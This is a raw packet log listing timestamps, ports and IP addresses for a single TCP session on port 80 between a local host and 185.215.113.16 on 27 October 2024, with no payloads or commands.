Oct 27, 2024 20:15:32.833360910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.833384037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.833409071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.833431005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.833446026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.833448887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.833462000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.833481073 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849551916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849600077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849612951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849630117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849646091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849666119 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849673033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849688053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849704981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849710941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849720001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849740982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849747896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849762917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849777937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849783897 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849792957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849807978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.849817038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.849844933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850394964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850433111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850447893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850471020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850500107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850513935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850528955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850537062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850555897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850574017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850580931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850594044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850610018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850615978 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850625038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850641966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850649118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850660086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850672960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850678921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850687981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850712061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850719929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850728035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850743055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850744963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850766897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850781918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850783110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850795031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850810051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850821018 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.850824118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.850843906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877129078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877166986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877177000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877183914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877216101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877219915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877234936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877252102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877266884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877270937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877283096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877301931 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877397060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877441883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.877455950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877470970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877485037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.877502918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899106026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899173975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899180889 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899189949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899205923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899220943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899233103 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899240971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899260998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899261951 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899277925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899296999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899338961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899355888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899374008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899461985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899481058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899499893 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899508953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899523020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899539948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899544001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899555922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899580956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899581909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899596930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899616003 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899626970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899643898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899661064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899662971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899676085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899693012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899708986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899712086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899729967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899750948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899777889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899785995 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899816990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899832010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899847984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.899853945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.899894953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902195930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902328014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902343988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902360916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902364969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902376890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902391911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902394056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902407885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902425051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902436018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902451038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902470112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902470112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902486086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902504921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902504921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902522087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902535915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902544022 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902554035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902573109 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.902579069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.902615070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.910324097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910372972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910387993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910417080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.910733938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910773039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910775900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.910787106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910804033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910821915 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.910850048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910864115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.910881996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.910963058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911005974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911020041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911037922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911068916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911088943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911129951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911144972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911161900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911211967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911226034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911246061 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911248922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911262035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911283016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911287069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911302090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911325932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911428928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911446095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911461115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911463976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911475897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911494017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911500931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911515951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911530972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911534071 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911564112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911580086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911653996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911669016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911684036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.911688089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.911715984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.950246096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950278044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950300932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950315952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950314045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.950333118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950347900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950350046 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.950365067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950377941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.950387955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.950423002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966460943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966523886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966537952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966562986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966566086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966581106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966604948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966609001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966619968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966634035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966639042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966648102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966665030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966672897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966689110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966702938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966711044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.966717958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.966737032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967020035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967046976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967060089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967062950 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967084885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967099905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967101097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967117071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967128992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967139006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967295885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967329979 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967351913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967367887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967389107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967390060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967406034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967425108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967518091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967551947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967578888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967664957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967679024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967694998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967696905 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967731953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967736959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967761040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967777014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967793941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967801094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967818022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967833042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967834949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.967849016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.967869043 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994271040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994316101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994389057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994405031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994431019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994442940 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994446993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994462967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994477987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994487047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994493961 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994508982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994514942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994525909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994540930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.994544029 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.994573116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019069910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019087076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019102097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019117117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019133091 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019145012 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019150019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019165039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019181013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019195080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019203901 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019211054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019226074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019232035 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019241095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019257069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019259930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019272089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019285917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019288063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019301891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019323111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019329071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019344091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019360065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019361973 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019375086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019390106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019392967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019406080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019419909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019428968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019435883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019450903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019454956 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019467115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019496918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019887924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019902945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019920111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019933939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019932032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019949913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019959927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019974947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.019984961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.019993067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020008087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020024061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020034075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.020037889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020054102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020059109 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.020068884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020083904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020086050 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.020098925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020113945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.020122051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.020128965 CET	80	49719	185.215.113.16	192.168.2.5
